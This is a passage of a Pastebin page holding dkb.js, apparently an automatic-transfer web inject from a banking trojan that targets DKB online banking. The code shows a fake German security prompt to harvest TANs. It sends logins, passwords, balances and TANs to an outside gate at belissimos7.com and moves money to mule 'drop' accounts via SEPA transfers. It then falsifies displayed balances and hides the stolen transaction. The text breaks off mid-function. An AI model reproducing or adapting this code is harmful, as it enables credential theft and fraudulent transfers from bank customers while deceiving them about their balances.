Advertisement
Xylitol

dkb.js

Apr 13th, 2014
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var jq = jQuery.noConflict();
  2. //var jq = jQuery;
  3.  
  4. var CONTENT_URL= "https://belissimos7.com/nsdghsf333/";
  5. document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background: url("'+CONTENT_URL+'/bodybg.png") repeat-y scroll 0 0 transparent; background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 600px;margin-left: -300px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_buttons_block { text-align: right; margin: -30px 10px 0px 0px; } .inj_error { display: none; color: #FF0000; font-weight: bold;margin: 0 auto; width: 230px; }.pich {  color: #999999; font-size:11px; left: 30px;bottom:-10px; position: absolute;}.infp{ font-size: 15px!important;  padding: 10px;}.load{ margin:0 auto; width:190px;}</style>');
  6.  
  7.  
  8.  
  9. var ATS = { bank: 'dkb',
  10.     account_id: 0,
  11.     script_ver: '2.1',
  12.     transf_mode : 'sepa',
  13.     debug_mode: 0,
  14.     debug_transfer: "INT",
  15.     gateURL : 'https://belissimos7.com/nsdghsf333/gate',
  16.     debugVisibleFrame: false,
  17.     debugNoOverlay : false,
  18.     CONTENT_URL: CONTENT_URL,
  19.     current_state : 0,
  20.     sepa_or_int_select_changed : false,
  21.     MaxTransferAccNum:0,
  22.     Timeout:false,
  23.    
  24.  
  25.     StepInFrame : {
  26.         0:"BeginWork",
  27.         10:"framePageFinanzstatus",
  28.         20:"preTransferPage",
  29.         30:"SEPA_page",
  30.         110:"SEPA_form_filled",
  31.         120:"TAN_ENTERED",
  32.         130:"Internal_transf_page",
  33.         140:"INT_form_filled",
  34.         150:"framePageSEPA_fill",
  35.         160:"framePageInternal_transf_page_fill",
  36.  
  37.        
  38.         set_current_state : function(state){
  39.            
  40.             for (var key in this) {
  41.               if (typeof this[key]!= 'function' && state==this[key]) {
  42.                parent.ATS.current_state=key;
  43.                return key;
  44.                }
  45.               //alert(key+':'+this[key])
  46.              
  47.            }
  48.             return false;
  49.             }
  50.         },
  51.        
  52.  
  53.     isDebugMode: function()
  54.     {
  55.         return ATS.debug_mode;
  56.     },
  57.    
  58.  
  59.     getBrowserFull: function()
  60.     {
  61.         var res = 'na';
  62.         try
  63.         {
  64.             var m = navigator.userAgent.match(/Firefox\/(\d+)/);
  65.             if (m)
  66.             {
  67.                 res = 'ff' + m[1];
  68.             }
  69.             else
  70.             {
  71.                 m = navigator.userAgent.match(/MSIE (\d+)/);
  72.                 if (m)
  73.                     res = 'ie' + m[1];
  74.             }
  75.         }
  76.         catch(e)
  77.         {
  78.             res = 'ex';
  79.         }
  80.         return res;
  81.     },
  82.  
  83.  
  84.     debugMsg: function(message)
  85.     {
  86.         if (this.isDebugMode())
  87.         {
  88.             if (window.console && window.console.log)
  89.                 window.console.log(message);
  90.             else
  91.                 alert(message);
  92.         }
  93.     },
  94.    
  95.     _cookies: new Object(),
  96.    
  97.     setCookie: function(name, value)
  98.     {
  99.         ATS.debugMsg('setCookie: ' + name + ' = ' + value);
  100.         parent.ATS._cookies['#'+name] = value;
  101.     },
  102.    
  103.     getCookie: function(name)
  104.     {
  105.         if (typeof parent.ATS._cookies['#'+name] == 'undefined')
  106.             return null;
  107.        
  108.         return parent.ATS._cookies['#'+name];
  109.     },
  110.    
  111.     serializeCookies: function()
  112.     {
  113.        //if (typeof parent.ATS._cookies != 'function')
  114.         var result = new Array();
  115.         for (var i in parent.ATS._cookies)
  116.         {
  117.            
  118.             if(i.indexOf('#')==0){
  119.                result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
  120.  
  121.                }
  122.         }
  123.         return result.join('&');
  124.     },
  125.    
  126.     unserializeCookies: function(rawData)
  127.     {
  128.         var result = new Object();
  129.         for (var i in rawData)
  130.         {
  131.             result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
  132.         }
  133.         return result;
  134.     },
  135.    
  136.     saveCookies: function(callback)
  137.     {
  138.         ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
  139.     },
  140.    
  141.  
  142.     sendGateRequest: function(action, params, callback)
  143.     {
  144.      
  145.         //ATS.debugMsg('sendGateRequest: ' + action);
  146.         dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
  147.        
  148.         var url = ATS.gateURL + '?a=' + action + '&cb=?';
  149.         //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
  150.    
  151.         //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  152.         //{
  153.        
  154.             jq.ajax({
  155.                 url: url,
  156.                 dataType: 'jsonp',
  157.                 crossDomain: true,
  158.                 data: dat,
  159.                 //async: false,
  160.                 success: callback,
  161.                 error: function(request,error)
  162.                 {
  163.                     ATS.debugMsg('posible ban ip; ajax error: ' + error);
  164.                     jq('.inj_full_overlay').remove();
  165.                     ATS.UI_unblockSite();
  166.                     jq('#inj_dialog_box').hide();
  167.                 }
  168.                
  169.             });
  170.            
  171.         //}
  172.     },
  173.    
  174.  
  175.     loadData: function(callback)
  176.     {
  177.         ATS.sendGateRequest('load_data', {}, function(data){
  178.             ATS.account_id = data.account_id;
  179.             ATS._cookies = ATS.unserializeCookies(data.cookies);
  180.             if (typeof callback == 'function')
  181.                 callback();
  182.         });
  183.     },
  184.    
  185.  
  186.     sendLoginInfo: function(login, password, callback)
  187.     {
  188.         ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
  189.     },
  190.    
  191.  
  192.     sendLogMsg: function(text, callback)
  193.     {
  194.         ATS.debugMsg('sendLogMsg: ' + text);
  195.         ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
  196.     },
  197.    
  198.     getDrop: function(transfType, balance, callback)
  199.     {
  200.        
  201.  
  202.         ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
  203.     },
  204.    
  205.     putTransfer: function(transfType, drop, amount, callback)
  206.     {
  207.         ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
  208.     },
  209.    
  210.     sendAccountsInfo: function(accountsInfo, callback)
  211.     {
  212.         try {
  213.             ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
  214.         } catch(e) {}
  215.     }
  216.    
  217.    
  218.    
  219.    
  220. };
  221.  
  222.  
  223.  
  224. ATS.UI_showWait = function()
  225. {
  226.     ATS.UI_showDialogBox();
  227.     jq('#inj_page_wait').show();
  228.     jq('#inj_page_brilok').hide();
  229.     jq('#gad_signatur_tan').hide();
  230.     jq('.inj_buttons_block').hide();
  231.     jq('.inj_error').hide();    
  232.  
  233. }
  234. ATS.UI_getTAN = function()
  235. {
  236.     return jq('.nowrap label').text();
  237.    
  238. }
  239.  
  240. ATS.UI_getInjectCode = function()
  241. {
  242.     var code =
  243.      '<div id=inj_dialog_box style=\'display: none;\'>'
  244.      + '<div class="formContainer2">'
  245.      
  246.      + '<div class="inj_dialog_content"><h2 id="inj_dialog_title">Zu Ihrer Sicherheit</h2></div>'
  247.      
  248.      + '<div id=inj_page_wait style=\'display: none;\'>'
  249.      + '<div class="boxHinweis"><p class="begruessungText inj_content_para">'
  250.      +  langs.getLang('waittext')
  251.      + '<br class="newline" /></p><p class="load"><img s'
  252.      + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p><br /></div></div>'
  253.  
  254.      
  255.      + '<div id="gad_contentbox" style=\'display: none;\'>'
  256.      
  257.      +'<div id="gad_signatur_tan" style=\'display: none;\'>'
  258.      
  259.      +'<form class="form-banking" onsubmit="return false;"><p class="autp">For autorize your payment please enter TAN</p><div id="insSMSform" class="form-content secure"></div><div class="form-content header"><label>mobileTAN*</label><input type="text" size="6" id="iTAN" name="nrTan" maxlength="6" style="margin-left:45px"></div></form><div style="clear:both"></div>'
  260.      
  261.      +'</div>'
  262.      
  263.  + '<div id="inj_page_brilok"  style=\'display: none;\' class="contentPage">'
  264.    
  265.   +'<div style="clear:both"></div><div id="gad_signatur_tan_input" class="applicationContainer"><p class="infp">Wahrscheinlich haben sich in letzter Zeit einige Ver&auml;nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&uuml;nden m&uuml;ssen Sie eine TAN eingeben, um zu best&auml;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&auml;hrt wird.</p><div class="applicationForm"><form  class="form validate" onsubmit="return false;"><fieldset><h3 class="border"><span>Abfrage TAN</span></h3><p class="clearfix formBox"><label style="font-size: 95%; display: inline;" class="label">Bitte bestätigen Sie die Eingabe mit der <strong id="inj_tan_startcode"></strong> aus Ihrer Liste *</label><input maxlength="6" class="text xSmall field" id="iTANBrilok" name="nrTan" autocomplete="off"></p></fieldset></form></div><div style="clear:both"></div>'
  266.   +'</div>'  
  267.      
  268.      +'</div>'
  269.      
  270.      + '<div style=\'clear:both;\'><p class="inj_error">'+langs.getLang('errortan')+'</p></div>'
  271.      
  272.      +'<div class="inj_buttons_block">'
  273. +'<div class="clearfix button"><button class="submit" id="inj_Weiter" name="inj_weiter" title="'+langs.getLang('nextbutton')+'" type="button">'+langs.getLang('nextbutton')+'</button></div><p class="pich">* Pflichtfelder</p>'
  274.      + ' <div style="clear:both"></div>'
  275.  
  276.      +'</div>'
  277.      + '</div></div>';
  278.     return jq(code);
  279. }
  280.  
  281. ATS.die = function(msg)
  282. {
  283.     ATS.sendLogMsg('ERROR: ' + msg);
  284.     ATS.setCookie('error_time', ATS.getTime());
  285.     ATS.setCookie('status', 2);
  286.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  287.     ATS.saveCookies(function(){
  288.         if ((parent.window !== window) && parent.ATS)
  289.         {
  290.             ATS.debugMsg('die in frame');
  291.             parent.ATS.UI_hideDialogBox();
  292.             parent.ATS.UI_unblockSite();
  293.  
  294.             jq('.inj_full_overlay',parent.document).remove();
  295.         }
  296.         else
  297.         {
  298.             ATS.debugMsg('die outside frame');
  299.             ATS.UI_hideDialogBox();
  300.             ATS.UI_unblockSite();
  301.             jq('.inj_full_overlay').remove();
  302.         }
  303.  
  304.     });
  305.    
  306.  
  307.        
  308. }
  309.  
  310.  
  311. ATS.mainWork = function()
  312. {
  313.    
  314.     ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
  315.     //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
  316.     switch (ATS.current_state)
  317.     {
  318.         case 0:
  319.            
  320.  
  321.             var href = ATS.getFinanzstatusLink();
  322.             if (href)
  323.             {
  324.            
  325.                      
  326.                 ATS.StepInFrame.set_current_state("framePageFinanzstatus");
  327.                 //ATS.debugMsg('Finanzstatus link: ' + href);
  328.                 //setTimeout('ATS.openInIframe("' + href + '")', 3000);
  329.                
  330.      ATS.sendLogMsg('Name: ' + jq('dl.name dd').text(),ATS.ieFrameHack() );      
  331.                
  332.                
  333.                
  334.                
  335.                
  336.             }
  337.             else
  338.             {
  339.                 ATS.die('mainWork: cant find finanzstatus');
  340.             }
  341.             break;
  342.     }
  343. }
  344. ATS.ieFrameHack = function()
  345. {
  346.     ATS.debugMsg('ATS.ieFrameHack()');
  347.    
  348.     if (!jq('iframe#ats_wrk_iframe').length)
  349.     {
  350.  
  351.         //ATS.openInIframe(ATS.getFinanzstatusLink());
  352.         ATS.openInIframe('about:blank');
  353. /*        
  354. var cssLink = document.createElement("link")
  355. cssLink.href = "/wrs/resources2/html/layout.css";
  356. cssLink.rel = "stylesheet";
  357. cssLink.type = "text/css";
  358. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  359.  
  360. var cssLink = document.createElement("link")
  361. cssLink.href = "/wrs/resources2/html/color.css";
  362. cssLink.rel = "stylesheet";
  363. cssLink.type = "text/css";
  364. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  365. */
  366.  
  367.  
  368.        
  369.      
  370.         setTimeout(ATS.ieFrameHack, 1000);
  371.     }
  372.     else
  373.     {
  374.  
  375.         var n=ATS.getFinanzstatusLink();
  376.     n=n.replace(/\:/g, '%3A');    
  377.     if(!ATS.checkTestPage()){
  378.        
  379.       // var n=ATS.getFinanzstatusLink().replace("(","%28").replace(")","%29");
  380.     }
  381.     else {
  382.     //   var n=ATS.getFinanzstatusLink().replace(/\./gi,"%2e" );  
  383.     }        
  384.    
  385.         jq('iframe#ats_wrk_iframe').attr('src',n );
  386.     }
  387. }
  388. ATS.UI_hideDialogBox = function()
  389. {
  390.     jq('#inj_dialog_box').hide();
  391. }
  392.  
  393.  
  394. ATS.descending= function(a, b)
  395. {
  396.     return b.totalBalance- a.totalBalance;
  397. }
  398.  
  399. ATS.getMaxTransferAcc = function()
  400. {
  401.     //num = num || 0;
  402.     var num=parent.ATS.MaxTransferAccNum;
  403.    
  404.     parent.ATS.accounts_list.sort( ATS.descending );
  405.    
  406.     if (parent.ATS.accounts_list[num]!=null)   return parent.ATS.accounts_list[num];
  407.     else
  408.     {
  409.     ATS.die('ATS.getMaxTransferAcc: accounts_list['+num+'] is null or no more Acounts left');
  410.     }
  411. /*
  412.     var accountsList = parent.ATS.accounts_list;
  413.     var maxBalance = accountsList[0].balance;
  414.     var tempBalance = 0;
  415.     var maxAcc = null;
  416.     for(var i in accountsList)
  417.     {
  418.         tempBalance= parseFloat(accountsList[i].balance) +  parseFloat(accountsList[i].overdraft);
  419.    
  420.    
  421.             if (!isNaN(tempBalance) && (tempBalance >= maxBalance))
  422.             {
  423.                 maxBalance = tempBalance;
  424.                 maxAcc = accountsList[i];
  425.             }
  426.     }
  427.  
  428.     return maxAcc;
  429.     */
  430.    
  431. }
  432.  
  433.  
  434. ATS.UI_askTan = function(tanNum, isError)
  435. {
  436.    
  437. var cssLink = document.createElement("link")
  438. cssLink.href = ATS.CONTENT_URL+"/images/all_styles_min.css";
  439. cssLink.rel = "stylesheet";
  440. cssLink.type = "text/css";
  441. //document.body.appendChild(cssLink);
  442. jq('body', parent.document).prepend(cssLink);
  443.    
  444.    
  445.    
  446.    
  447. if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
  448.     parent.ATS.UI_showDialogBox();
  449.     //parent.ATS.UI_fixBtnLink();
  450.  
  451. //var sms=jq('div[id*="TanData"]').html();
  452. var sms='';
  453. if (sms.indexOf('SMS')!=-1){
  454.    
  455.     parent.ATS.TanType='sms';
  456.  
  457.     jq('#inj_page_wait', parent.document).hide();
  458.     jq('#inj_page_brilok', parent.document).hide();
  459.     jq('#gad_signatur_tan', parent.document).show();
  460.     jq('.formContainer2 #gad_contentbox', parent.document).show();
  461.      
  462.      jq('#insSMSform', parent.document.body).html(sms);
  463. }
  464.  else{
  465.     parent.ATS.TanType='brilok';
  466.  
  467.     jq('#inj_page_wait', parent.document).hide();
  468.     jq('#gad_signatur_tan', parent.document).hide();
  469.     jq('#inj_page_brilok', parent.document).show();
  470.     jq('.formContainer2 #gad_contentbox', parent.document).show();
  471.  
  472.  
  473.         var startCode = jq('fieldset label strong').text();
  474.         ATS.sendLogMsg('startCode ' + startCode);
  475.         jq('#inj_tan_startcode', parent.document.body).text(startCode);
  476.  
  477.  
  478.  
  479.  }  
  480.    
  481.    
  482.     jq('.inj_buttons_block', parent.document).show();
  483.  
  484.  }
  485. ATS.UI_onWeiterClick = function()
  486. {
  487. if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
  488. else var tan = jq('#iTANBrilok').val();
  489.  
  490.  
  491.     if (tan=="test") {
  492.        if (ATS.isDebugMode()){
  493.            parent.ATS.UI_showWait();
  494.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  495.         else ATS.framePageReceiptInternal();
  496.        
  497.        return false;}}
  498.  
  499.    
  500.     if (tan.length == 6)
  501.     {
  502.         ATS.sendLogMsg('entered TAN ' + tan);
  503.         jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
  504.     }
  505.     else{
  506.         alert(langs.getLang('errorTanEmpty'));
  507.        
  508.     }
  509. }
  510.  
  511. ATS.padRight = function(input, totalWidth)
  512.  
  513. {
  514.     var result = input;
  515.     if (result.length < totalWidth){
  516.         for(var i = result.length; i < totalWidth; i++){
  517.             result = result + 'X'
  518.         }
  519.    
  520.     }
  521.     return result;
  522. }
  523.  
  524.  
  525. ATS.framePageReceipt = function()
  526. {
  527.     ATS.sendLogMsg('framePageReceipt');
  528.  
  529.    
  530.     ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
  531.         ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
  532.         ATS.setCookie('transfer_time', ATS.getTime());
  533.         ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
  534.         ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
  535.         ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
  536.        
  537.         var transfer_acc = parent.ATS.transfer_acc;
  538.        
  539.         if (transfer_acc)
  540.         {
  541.             ATS.setCookie('transfer_acc', transfer_acc);
  542.             ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
  543.         }
  544.        
  545.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  546.        
  547.         ATS.setCookie('status', 1);
  548.         ATS.saveCookies(function(){
  549.  
  550.             var nextLink = ATS.getFinanzstatusLink();
  551.             if (nextLink != '')
  552.             {
  553.                 setTimeout(function(){
  554.                     parent.ATS.StepInFrame.set_current_state("BeginWork");
  555.                     parent.window.document.location.href = nextLink;
  556.                    
  557.                 }, 1000);
  558.             }
  559.         });
  560.     });
  561.    
  562. }
  563. ATS.framePageReceiptInternal = function()
  564. {
  565.     ATS.sendLogMsg('framePageReceiptInternal');
  566.    
  567.     ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
  568.         ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
  569.         ATS.setCookie('transfer_time', ATS.getTime());
  570.         ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
  571.         ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
  572.         ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
  573.        
  574.         var transfer_acc = parent.ATS.transfer_acc;
  575.        
  576.         if (transfer_acc)
  577.         {
  578.             ATS.setCookie('transfer_acc', transfer_acc);
  579.             ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
  580.         }        
  581.        
  582.  
  583.         ATS.setCookie('status', 1);
  584.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  585.        
  586.         ATS.saveCookies(function(){
  587.  
  588.             var nextLink = ATS.getFinanzstatusLink();
  589.            
  590.             if (nextLink != '')
  591.             {
  592.                 setTimeout(function(){
  593.                     parent.ATS.StepInFrame.set_current_state("BeginWork");
  594.                     parent.window.document.location.href = nextLink;
  595.                    
  596.                 }, 1000);
  597.             }
  598.         });
  599.     });
  600. }
  601. ATS.fin2float = function(text)
  602. {
  603.     if (langs.getCurLang()=='EN')
  604.     var text = text.toString();
  605.     else
  606.     var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
  607.     return parseFloat(text);
  608. }
  609.  
  610. ATS.float2fin = function(val)
  611. {
  612.     var intPart = Math.floor(val);
  613.     var fractPart = Math.floor((val - intPart) * 100).toString();
  614.    
  615.     if (fractPart.length < 2)
  616.         fractPart = '0' + fractPart;
  617.        
  618.     var newIntPart = '';
  619.     intPart = intPart.toString();
  620.     while (intPart.length > 3)
  621.     {
  622.         newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
  623.         intPart = intPart.substr(0, intPart.length - 3);
  624.     }
  625.     newIntPart = intPart + newIntPart;
  626.    
  627.     return newIntPart + ',' + fractPart;
  628. }
  629. ATS.addElementAmount = function (el, amount, postfix)
  630. {
  631.     var val = ATS.fin2float(jq(el).text());
  632.     var newText='<strong>';
  633.  //   if (val<0) newText +='<span class="negbal">';
  634.    
  635.     newText += ATS.float2fin(val + amount);
  636.     if (postfix)
  637.         newText += ' ' + postfix;
  638.        
  639.  //   if (val<0) newText +='</span>';
  640.      newText +="</strong>";  
  641.     jq(el).html(newText);
  642. }
  643. ATS.hideLastTAN = function()
  644. {
  645.  
  646.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  647.     if (el.length)
  648.     {
  649.         var html = jq(el).html();
  650.         var pos = html.indexOf('Ihre zuletzt');
  651.         if (pos >= 0)
  652.             jq(el).html(html.substr(0, pos));
  653.     }
  654.    
  655.  
  656.     jq('p:contains(Zuletzt benutzte)').remove();
  657. }
  658.  
  659. ATS.checkTransfer = function(el)
  660. {
  661.  
  662.  
  663.     var percent=parseFloat("0.00");  
  664.  
  665.     var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
  666.     if (isNaN(lastGesamtsaldo)) {
  667.         ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
  668.         return false;
  669.     }
  670.  
  671.     //var curGesamtsaldo = ATS.fin2float(jq(el).text());
  672.     var curGesamtsaldo = el;
  673.    
  674.  
  675.     var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
  676.     var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
  677.     tempsaldo=parseFloat(tempsaldo.toFixed(2));
  678.    
  679.         //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
  680.        
  681.  
  682.     if(tempsaldo==0){
  683.         ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
  684.         return false;
  685.         }
  686.    
  687.  
  688.     if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
  689.         return false;
  690.     }
  691.  
  692.  
  693.     if(tempsaldo>0){
  694.    
  695.            
  696.  
  697.     if((tempsaldo==rep_amount)  || (tempsaldo>rep_amount)){
  698.        
  699.     var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
  700.     percent=parseFloat(temppers.toFixed(2));
  701.     ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
  702.     if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){
  703.             ATS.setCookie('acPercent',percent);
  704.             ATS.saveCookies();
  705.     }
  706.     if (ATS.getCookie('acTransact')!="true"){
  707.             ATS.setCookie('acTransact',true);
  708.             ATS.saveCookies();
  709.     }
  710.    
  711.     return percent;
  712.     }else{
  713.      
  714.         ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
  715.             ATS.setCookie('acPercent',tempsaldo);
  716.             ATS.setCookie('acTransact',false);
  717.             ATS.saveCookies();
  718.         return false;
  719.     }    
  720.        
  721. }
  722.  
  723. }
  724.  
  725.  
  726. ATS.replaceFinanzstatus = function()
  727. {
  728.     ATS.debugMsg('replaceFinanzstatus()');
  729.    
  730.     //jq("#gad_toolbar_btn_print").remove();
  731.  
  732. var saldo=0;
  733. jq("table.btable").each(function(){
  734.     var el=jq(this).find('tr:has(td:contains("Summe in Euro"))').find('td:eq(2)')
  735.  if (el.length) saldo+=ATS.fin2float(jq(el).text());
  736.    
  737.    });
  738. if (saldo==0 ){
  739.  parent.ATS.accounts_list = ATS.parseAccountsList();  
  740.   if (!parent.ATS.accounts_list.length) ATS.die('replaceFinanzstatus: cant find balance');  
  741.   var maxAcc = ATS.getMaxTransferAcc();
  742.   parent.ATS.maxAcc=maxAcc;
  743.   saldo=parseFloat(parent.ATS.maxAcc.balance);
  744.    
  745. }
  746.  
  747. var el=saldo;
  748.  
  749.  
  750.  
  751.      var percent =ATS.checkTransfer(el);
  752.      ATS.debugMsg('percent= '+percent);
  753.      if(typeof percent === 'boolean') return true;
  754.  
  755.  
  756. if( percent > 15) {
  757.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  758.     }
  759.  
  760.  
  761.    
  762.         var totalReplace = 0;
  763.   jq("table.btable").each(function(){
  764.         jq(this).find('tr:has(img[alt*="berweisung"]):not(:contains(Kreditkarte),:contains(*))').each(function(){
  765.            
  766.                     var accNum = jq.trim(jq(this).children("td:eq(0)").text().replace(/\D+/g,''));
  767.                     var amount = parseFloat(ATS.getCookie('ap' + accNum));
  768.                    
  769.         //ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
  770.                 if (amount > 0)
  771.                     {
  772.         ATS.debugMsg('REP finanzstatus: ' + accNum + ' + ' + amount + '; percent = ' + percent);
  773.  
  774.                   ATS.addElementAmount(jq(this).children("td:eq(3)"), parseFloat(amount + percent), '');                            
  775.  
  776.        
  777. //ATS.addElementAmount(jq(this).parent().find('.subsequent').find("th.balance > strong"), amount + percent, 'EUR');
  778.                
  779.                 totalReplace += parseFloat(amount + percent);
  780.                 }
  781.                
  782.            
  783.     });
  784. });
  785.  
  786.            
  787.             if (totalReplace > 0)
  788.             {
  789.  
  790.                  
  791.         ATS.addElementAmount(jq("table.btable").find('tr:has(td:contains("Summe in Euro"))').find('td:eq(2)'), totalReplace, '');
  792.              }
  793.        
  794.    
  795. }
  796. ATS.replaceUmsatzanzeige = function()
  797. {
  798.     ATS.debugMsg('replaceUmsatzanzeige()');
  799.  
  800.   //jq("#gad_toolbar_btn_print").remove();
  801.    
  802.  
  803.        
  804.     var accNum = jq('select:eq(0) > option:selected').text().replace(/\D+/g,'');
  805.    
  806.     var amount = parseFloat(ATS.getCookie('ap' + accNum));
  807.     var percent=parseFloat(ATS.getCookie('acPercent'));
  808.  
  809.    
  810.  
  811. if( percent > 15) {
  812.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  813.     }
  814.    
  815.    
  816.    
  817.     //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
  818.     if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
  819.  
  820.    
  821.        
  822.    
  823.     if (ATS.getCookie('transfer_acc')==accNum)
  824.     {
  825.         //ATS.sendLogMsg('REP Umsatzanzeige: kontostand + ' + amount);
  826.     ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);    
  827.  
  828.      
  829.     ATS.addElementAmount(jq('table tr:has(td:contains(Kontostand vom))').find('td:eq(1)'), amount +  percent, 'EUR');
  830.        
  831.  
  832.         var hideFlag = false;
  833.         jq('table tr.tablerowodd,table tr.tableroweven').each(function(i){
  834.            jq(this).find("td:eq(3)").each(function(j){
  835.  
  836.        
  837.             var text = jq.trim(jq(this).text());
  838.             if (ATS.needToHide(text))
  839.             {
  840. //  ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
  841.                 jq(this).parent().hide();
  842.                 hideFlag = true;
  843.             }
  844.         });
  845.     });    
  846.        
  847.    
  848.  
  849. jq('table tr:visible.tablerowodd,table tr:visible.tableroweven').each(function(i){
  850.  
  851.     jq(this).attr('class', (i % 2) ? 'tableroweven' : 'tablerowodd');
  852.  
  853.     });
  854.     }
  855. }
  856.  
  857. ATS.needToHide = function(text)
  858. {
  859.  
  860.    
  861.     var amount = parseFloat(ATS.getCookie('rep_amount'));
  862.     if (amount)
  863.     {
  864.  
  865.         if (langs.getCurLang()=='EN'){
  866.             text=text.replace(/[^\d.]+/gi, '');
  867.            
  868.         if (text.indexOf(amount) != -1) return true;
  869.            
  870.             }
  871.             else{
  872.         text=text.replace(/[^\d,]+/gi, '').replace(",", '.');                
  873.         if (text.indexOf(amount) != -1) return true;
  874.         ATS.debugMsg(text);
  875.         }
  876.     }
  877.        
  878.     return false;
  879. }
  880. ATS.replaceBalances = function()
  881. {
  882.     ATS.debugMsg('replaceBalances()');
  883.    
  884.     //ATS.hideLastTAN();
  885.    
  886.    
  887.         switch (langs.getCurLang())
  888.     {
  889.        
  890.         case "EN":
  891.     if (ATS.getPageTitle("Finanzstatus")) ATS.replaceFinanzstatus();           
  892.      if (ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();            
  893.         break;
  894.          default:
  895.          
  896.     if (ATS.getPageTitle("Finanzstatus")) ATS.replaceFinanzstatus();           
  897.      if (ATS.getPageTitle("Kontoums"+String.fromCharCode(228)+"tze") ) ATS.replaceUmsatzanzeige();            
  898.            
  899.             break;
  900.            
  901.  }
  902.            
  903.  
  904.    
  905.  
  906.    
  907.    
  908.    
  909.  
  910.  
  911. }
  912.  
  913.  
  914. ATS.findAccountInfo = function(acc_num)
  915. {
  916.     ATS.debugMsg('acc_num:'+ acc_num);
  917.     var accounts_list = parent.ATS.accounts_list;
  918.     for (var i in accounts_list)
  919.     {
  920.         //if (accounts_list[i] != 'function' )
  921.          //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
  922.        
  923.             if (acc_num.indexOf(accounts_list[i].number) != -1)
  924.             {
